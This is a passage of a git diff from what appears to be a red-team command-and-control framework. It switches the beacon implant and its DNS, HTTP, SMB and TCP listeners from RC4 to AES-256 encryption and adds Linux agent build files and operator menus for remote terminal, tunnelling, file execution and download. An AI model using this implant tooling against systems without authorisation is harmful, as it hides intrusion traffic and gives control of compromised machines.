0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, + 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, + 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, + 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, + 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 +}; - for (i = 0; i < 256; i++) { - S[i] = (unsigned char)i; +static const unsigned char g_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 +}; + +static unsigned char gf_mul(unsigned char a, unsigned char b) { + unsigned char p = 0; + for (int i = 0; i < 8; i++) { + if (b & 1) + p ^= a; + unsigned char hi = a & 0x80; + a <<= 1; + if (hi) + a ^= 0x1b; + b >>= 1; + } + return p; +} + +static void aes256_key_expand(const unsigned char* key, unsigned char* roundKeys) { + unsigned char temp[4]; + int i; + + for (i = 0; i < 32; i++) + roundKeys[i] = key[i]; + + int nk = 8; + int nb = 4; + int nr = 14; + + for (i = nk; i < nb * (nr + 1); i++) { + temp[0] = roundKeys[(i-1)*4 + 0]; + temp[1] = roundKeys[(i-1)*4 + 1]; + temp[2] = roundKeys[(i-1)*4 + 2]; + temp[3] = roundKeys[(i-1)*4 + 3]; + + if (i % nk == 0) { + unsigned char t = temp[0]; + temp[0] = temp[1]; + temp[1] = temp[2]; + temp[2] = temp[3]; + temp[3] = t; + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + temp[0] ^= g_rcon[i/nk - 1]; + } + else if (i % nk == 4) { + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + } + + roundKeys[i*4 + 0] = roundKeys[(i-nk)*4 + 0] ^ temp[0]; + roundKeys[i*4 + 1] = roundKeys[(i-nk)*4 + 1] ^ temp[1]; + roundKeys[i*4 + 2] = roundKeys[(i-nk)*4 + 2] ^ temp[2]; + roundKeys[i*4 + 3] = roundKeys[(i-nk)*4 + 3] ^ temp[3]; + } +} + +static void aes_add_round_key(unsigned char* state, const unsigned char* rk) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[i]; +} + +static void aes_sub_bytes(unsigned char* state) { + for (int i = 0; i < 16; i++) + state[i] = g_sbox[state[i]]; +} + +static void aes_shift_rows(unsigned char* state) { + unsigned char t; + t = state[1]; state[1] = state[5]; state[5] = state[9]; state[9] = state[13]; state[13] = t; + t = state[2]; state[2] = state[10]; state[10] = t; + t = state[6]; state[6] = state[14]; state[14] = t; + t = state[15]; state[15] = state[11]; state[11] = state[7]; state[7] = state[3]; state[3] = t; +} + +static void aes_mix_columns(unsigned char* state) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + unsigned char s0 = state[i], s1 = state[i+1], s2 = state[i+2], s3 = state[i+3]; + state[i+0] = gf_mul(s0, 2) ^ gf_mul(s1, 3) ^ s2 ^ s3; + state[i+1] = s0 ^ gf_mul(s1, 2) ^ gf_mul(s2, 3) ^ s3; + state[i+2] = s0 ^ s1 ^ gf_mul(s2, 2) ^ gf_mul(s3, 3); + state[i+3] = gf_mul(s0, 3) ^ s1 ^ s2 ^ gf_mul(s3, 2); + } +} + +static void aes256_encrypt_block(const unsigned char* roundKeys, const unsigned char* in, unsigned char* out) { + unsigned char state[16]; + memcpy(state, in, 16); + + aes_add_round_key(state, roundKeys); + + for (int r = 1; r < 14; r++) { + aes_sub_bytes(state); + aes_shift_rows(state); + aes_mix_columns(state); + aes_add_round_key(state, roundKeys + r * 16); + } + + aes_sub_bytes(state); + aes_shift_rows(state); + aes_add_round_key(state, roundKeys + 14 * 16); + + memcpy(out, state, 16); +} + +// ========== GCM ========== + +static void gcm_inc32(unsigned char* ctr) { + for (int i = 15; i >= 12; i--) { + if (++ctr[i]) + break; + } +} + +static void ghash_mul(unsigned char* x, const unsigned char* h) { + unsigned char z[16] = {0}; + unsigned char v[16]; + memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (1 << (7 - (i % 8)))) { + for (int j = 0; j < 16; j++) + z[j] ^= v[j]; + } + unsigned char carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) + v[0] ^= 0xe1; + } + memcpy(x, z, 16); +} + +static void ghash(const unsigned char* h, const unsigned char* aad, int aadLen, + const unsigned char* ct, int ctLen, unsigned char* out) { + unsigned char x[16] = {0}; + int i, j; + + for (i = 0; i < aadLen; i += 16) { + int blockLen = aadLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= aad[i + j]; + ghash_mul(x, h); } - for (i = 0; i < 256; i++) { - j = (j + S[i] + key[i % keyLength]) % 256; - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + for (i = 0; i < ctLen; i += 16) { + int blockLen = ctLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= ct[i + j]; + ghash_mul(x, h); } + + unsigned char lenBlock[16] = {0}; + unsigned long long aadBits = (unsigned long long)aadLen * 8; + unsigned long long ctBits = (unsigned long long)ctLen * 8; + lenBlock[0] = (unsigned char)(aadBits >> 56); + lenBlock[1] = (unsigned char)(aadBits >> 48); + lenBlock[2] = (unsigned char)(aadBits >> 40); + lenBlock[3] = (unsigned char)(aadBits >> 32); + lenBlock[4] = (unsigned char)(aadBits >> 24); + lenBlock[5] = (unsigned char)(aadBits >> 16); + lenBlock[6] = (unsigned char)(aadBits >> 8); + lenBlock[7] = (unsigned char)(aadBits); + lenBlock[8] = (unsigned char)(ctBits >> 56); + lenBlock[9] = (unsigned char)(ctBits >> 48); + lenBlock[10] = (unsigned char)(ctBits >> 40); + lenBlock[11] = (unsigned char)(ctBits >> 32); + lenBlock[12] = (unsigned char)(ctBits >> 24); + lenBlock[13] = (unsigned char)(ctBits >> 16); + lenBlock[14] = (unsigned char)(ctBits >> 8); + lenBlock[15] = (unsigned char)(ctBits); + + for (j = 0; j < 16; j++) + x[j] ^= lenBlock[j]; + ghash_mul(x, h); + + memcpy(out, x, 16); } -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) { - int i = 0, j = 0, k; - unsigned char temp; +static int aes256_gcm_crypt( + const unsigned char* key, + const unsigned char* iv, int ivLen, + const unsigned char* aad, int aadLen, + const unsigned char* in, int inLen, + unsigned char* out, + unsigned char* tag, int tagLen, + int mode) +{ + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); - for (k = 0; k < dataLength; k++) { - i = (i + 1) % 256; - j = (j + S[i]) % 256; + unsigned char h[16] = {0}; + aes256_encrypt_block(roundKeys, h, h); - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + unsigned char j0[16] = {0}; + if (ivLen == 12) { + memcpy(j0, iv, 12); + j0[15] = 1; + } else { + ghash(h, NULL, 0, iv, ivLen, j0); + } + + unsigned char ctr[16]; + memcpy(ctr, j0, 16); + gcm_inc32(ctr); + + unsigned char keystreamBlock[16]; + for (int i = 0; i < inLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = inLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + out[i + j] = in[i + j] ^ keystreamBlock[j]; + } - data[k] ^= S[(S[i] + S[j]) % 256]; + const unsigned char* ctData = (mode == 0) ? out : in; + unsigned char ghashResult[16]; + ghash(h, aad, aadLen, ctData, inLen, ghashResult); + + unsigned char encJ0[16]; + aes256_encrypt_block(roundKeys, j0, encJ0); + + unsigned char computedTag[16]; + for (int i = 0; i < 16; i++) + computedTag[i] = ghashResult[i] ^ encJ0[i]; + + if (mode == 0) { + memcpy(tag, computedTag, tagLen); + return 0; + } else { + unsigned char diff = 0; + for (int i = 0; i < tagLen; i++) + diff |= tag[i] ^ computedTag[i]; + return diff ? -1 : 0; } } -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - unsigned char S[256]; - RC4Init(key, S, keyLength); - RC4EncryptDecrypt(data, dataLength, S); +// ========== Public API ========== + +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + int totalLen = AES_GCM_IV_SIZE + dataLen + AES_GCM_TAG_SIZE; + unsigned char* output = (unsigned char*)MemAllocLocal(totalLen); + if (!output) + return NULL; + + unsigned char* iv = output; + for (int i = 0; i < AES_GCM_IV_SIZE; i++) + iv[i] = (unsigned char)(GenerateRandom32() & 0xFF); + + unsigned char* ct = output + AES_GCM_IV_SIZE; + unsigned char* tag = output + AES_GCM_IV_SIZE + dataLen; + + aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, data, dataLen, ct, tag, AES_GCM_TAG_SIZE, 0); + + *outLen = totalLen; + return output; +} + +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + if (dataLen < AES_GCM_OVERHEAD) + return -1; + + unsigned char* iv = data; + int ctLen = dataLen - AES_GCM_OVERHEAD; + unsigned char* ct = data + AES_GCM_IV_SIZE; + unsigned char* tag = data + AES_GCM_IV_SIZE + ctLen; + + unsigned char* plain = (unsigned char*)MemAllocLocal(ctLen); + if (!plain) + return -1; + + int result = aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, ct, ctLen, plain, tag, AES_GCM_TAG_SIZE, 1); + + if (result == 0) { + memcpy(data, plain, ctLen); + *outLen = ctLen; + } + + MemFreeLocal((LPVOID*)&plain, ctLen); + return result; } -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - EncryptRC4(data, dataLength, key, keyLength); -} \ No newline at end of file +void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key) { + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); + + unsigned char ctr[16] = {0}; + ctr[15] = 1; + + unsigned char keystreamBlock[16]; + for (int i = 0; i < dataLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = dataLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + data[i + j] ^= keystreamBlock[j]; + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h index 2d2c4bd31..0e8610e78 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h @@ -1,9 +1,25 @@ #pragma once -void RC4Init(unsigned char* key, unsigned char* S, int keyLength); +// ========== AES-256-GCM (session encryption) ========== +// Key: 32 bytes, IV: 12 bytes (random), Tag: 16 bytes +// Encrypt output format: [IV(12)] [Ciphertext(dataLen)] [Tag(16)] +// Total output size = 12 + dataLen + 16 = dataLen + 28 +// Decrypt input format: [IV(12)] [Ciphertext(len-28)] [Tag(16)] -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S); +#define AES_GCM_KEY_SIZE 32 +#define AES_GCM_IV_SIZE 12 +#define AES_GCM_TAG_SIZE 16 +#define AES_GCM_OVERHEAD (AES_GCM_IV_SIZE + AES_GCM_TAG_SIZE) -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); +// Returns newly allocated buffer (via MemAllocLocal) containing [IV][Ciphertext][Tag]. +// Caller must free with MemFreeLocal. *outLen set to total output size. +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); \ No newline at end of file +// Decrypts [IV][Ciphertext][Tag] in-place (overwrites input buffer with plaintext). +// Returns 0 on success, -1 on auth failure. *outLen set to plaintext size. +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); + +// AES-256-CTR stream cipher: in-place encrypt/decrypt with zero overhead. +// Deterministic keystream from key (counter starts at 1). +// Symmetric: encrypt and decrypt are the same operation. +void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key); diff --git a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs index b470c6816..27c9bc1fb 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs @@ -30,7 +30,7 @@ function ListenerUI(mode_create) spinTTL.setValue(5); let labelEncryptKey = form.create_label("Encryption Key:"); - let textEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textEncryptKey = form.create_textline(ax.random_string(64, "hex")); textEncryptKey.setEnabled(mode_create); let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create); @@ -50,7 +50,7 @@ function ListenerUI(mode_create) spinBurstJitter.setValue(0); spinBurstJitter.setEnabled(false); - form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(32, "hex")); }); + form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(64, "hex")); }); form.connect(checkBurstEnabled, "stateChanged", function() { if(spinBurstSleep.getEnabled()) { spinBurstSleep.setEnabled(false); diff --git a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go index 68e5e0363..919cc7cab 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go @@ -4,7 +4,8 @@ import ( "bytes" "compress/zlib" "context" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/base32" "encoding/base64" "encoding/binary" @@ -76,9 +77,8 @@ func validConfig(config string) error { return errors.New("domain is required") } - keyLen := len(conf.EncryptKey) - if keyLen < 6 || keyLen > 32 { - return errors.New("encrypt_key must be 6-32 characters") + if len(conf.EncryptKey) != 64 { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil @@ -263,17 +263,27 @@ func (t *TransportDNS) handleHI(req *dnsRequest, w dns.ResponseWriter) { } keyBytes, err := hex.DecodeString(t.Config.EncryptKey) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) + if err != nil { + return + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return + } + nonceSize := gcm.NonceSize() + if len(req.data) < nonceSize+gcm.Overhead() { + return + } + nonce, ciphertext := req.data[:nonceSize], req.data[nonceSize:] + fullBeat, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return } - - fullBeat := make([]byte, len(req.data)) - cipher.XORKeyStream(fullBeat, req.data) if len(fullBeat) < 8 { return @@ -303,7 +313,7 @@ func (t *TransportDNS) handleHB(req *dnsRequest) (needsReset bool, hasPendingTas } t.mu.Unlock() - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var ackOffset, ackTaskNonce uint32 if len(decrypted) >= 4 { @@ -346,7 +356,7 @@ func (t *TransportDNS) handleGET(req *dnsRequest, w dns.ResponseWriter) []byte { _ = Ts.TsAgentSetTick(req.sid, t.Name) } - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var reqOffset uint32 if len(decrypted) >= 4 { @@ -398,7 +408,7 @@ func (t *TransportDNS) handlePUT(req *dnsRequest) putAckInfo { } t.mu.Unlock() - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) ack = t.handlePutFragment(req.sid, req.seq, decrypted, ack) if req.sid != "" { @@ -710,7 +720,7 @@ func (t *TransportDNS) buildDataResponse(req *dnsRequest, frame []byte, ttl uint } } - encrypted := rc4Crypt(frame, t.Config.EncryptKey) + encrypted := aes256CTRStream(frame, t.Config.EncryptKey) b64Str := base64.StdEncoding.EncodeToString(encrypted) var chunks []string @@ -957,21 +967,24 @@ func newUpDone(total uint32) *dnsUpDone { return ud } -// Utility Functions -func rc4Crypt(data []byte, keyHex string) []byte { +// AES-256-CTR stream cipher matching C++ CryptAES256Stream +func aes256CTRStream(data []byte, keyHex string) []byte { if len(data) == 0 { return data } keyBytes, err := hex.DecodeString(keyHex) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return data } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) if err != nil { return data } + ctr := make([]byte, aes.BlockSize) + ctr[15] = 1 + stream := cipher.NewCTR(block, ctr) result := make([]byte, len(data)) - cipher.XORKeyStream(result, data) + stream.XORKeyStream(result, data) return result } diff --git a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs index a71e75cee..7dfd53f8f 100644 --- a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs @@ -38,7 +38,7 @@ function ListenerUI(mode_create) let textlineHB = form.create_textline("X-Beacon-Id"); let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) @@ -56,7 +56,7 @@ function ListenerUI(mode_create) ssl_group.setPanel(panel_group); ssl_group.setChecked(false); - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layoutMain = form.create_gridlayout(); layoutMain.addWidget(labelHost, 0, 0, 1, 1); diff --git a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go index ee9ad6bda..b49f2434d 100644 --- a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go @@ -3,8 +3,9 @@ package main import ( "bytes" "context" + "crypto/aes" + "crypto/cipher" "crypto/rand" - "crypto/rc4" "crypto/rsa" "crypto/tls" "crypto/x509" @@ -145,9 +146,9 @@ func validConfig(config string) error { return errors.New("user_agent is required") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } if !strings.Contains(conf.WebPageOutput, "<<>>") { @@ -417,12 +418,23 @@ func (t *TransportHTTP) parseBeatAndData(ctx *gin.Context) (string, string, []by if err != nil { return "", "", nil, nil, errors.New("failed decrypt beat") } - rc4crypt, errcrypt := rc4.NewCipher(encKey) - if errcrypt != nil { - return "", "", nil, nil, errors.New("rc4 decrypt error") + block, err := aes.NewCipher(encKey) + if err != nil { + return "", "", nil, nil, errors.New("aes cipher error") + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, nil, errors.New("gcm error") + } + nonceSize := gcm.NonceSize() + if len(agentInfoCrypt) < nonceSize+gcm.Overhead() { + return "", "", nil, nil, errors.New("ciphertext too short") + } + nonce, ciphertext := agentInfoCrypt[:nonceSize], agentInfoCrypt[nonceSize:] + agentInfo, err = gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", "", nil, nil, errors.New("gcm decrypt error") } - agentInfo = make([]byte, len(agentInfoCrypt)) - rc4crypt.XORKeyStream(agentInfo, agentInfoCrypt) agentType = uint(binary.BigEndian.Uint32(agentInfo[:4])) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs index adb5686b7..178cb859d 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs @@ -11,14 +11,14 @@ function ListenerUI(mode_create) } let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go index 922a423b9..ad36b64fd 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -164,13 +165,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go index 5087af2b2..797407bf2 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go @@ -34,9 +34,9 @@ func validConfig(config string) error { return errors.New("Pipename invalid") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil diff --git a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs index 83c28ae4f..9b58ee067 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs @@ -15,14 +15,14 @@ function ListenerUI(mode_create) textlinePrepend.setEnabled(mode_create) let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go index 43b2f5b48..f664af1dd 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -167,13 +168,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go index 3c964af82..1d908c6af 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go @@ -35,9 +35,9 @@ func validConfig(config string) error { return errors.New("Port must be in the range 1-65535") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil diff --git a/AdaptixServer/extenders/linux_agent/Makefile b/AdaptixServer/extenders/linux_agent/Makefile new file mode 100644 index 000000000..eafc2ef41 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/Makefile @@ -0,0 +1,16 @@ +all: clean + @ echo " * Building agent_linux plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_linux.so pl_main.go pl_utils.go pl_hashes_linux.go pl_encoder_linux.go + @ echo " done..." + + @ echo " * Copying agent sources for per-payload compilation" + @ mkdir -p ./dist/src_agent/agent ./dist/src_agent/files + @ cp src_agent/agent/*.c src_agent/agent/*.h ./dist/src_agent/agent/ + @ rm -f ./dist/src_agent/agent/config.h ./dist/src_agent/agent/ApiDefines.h ./dist/src_agent/agent/strings_obf.h + @ cp src_agent/files/config.tpl ./dist/src_agent/files/ 2>/dev/null || true + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_agent/ax_config.axs b/AdaptixServer/extenders/linux_agent/ax_config.axs new file mode 100644 index 000000000..558d0dd07 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/ax_config.axs @@ -0,0 +1,278 @@ +/// Linux Agent (Native C) + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["linux"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["linux"]) +menu.add_session_browser(process_browser_action, ["linux"]) +menu.add_session_browser(terminal_browser_action, ["linux"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["linux"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["linux"]) +menu.add_filebrowser(remove_action, ["linux"]) + + +let job_stop_action = menu.create_action("Stop job", 